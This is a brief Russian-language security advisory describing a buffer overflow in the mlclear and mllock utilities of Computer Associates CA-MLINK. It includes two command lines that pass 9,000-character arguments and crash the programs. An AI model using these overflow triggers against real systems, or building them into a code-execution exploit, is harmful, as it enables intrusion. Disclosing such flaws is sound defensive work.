Переполнение буфера в CA-MLINK

Переполнение буфера существует в программах mlclear и mllock при передаче длинной строки к аргументам командной строки. Переполнение может приводить к перезаписи переменных стека, включая адрес возврата и возможному выполнению произвольного кода.

Уязвимость найдена в Computer Associates CA-MLINK

Пример:
# ./mlclear `perl -e 'print "A" x 9000'`
Memory fault - core dumped

# ./mllock A `perl -e 'print "A" x 9000'`
Memory fault - core dumped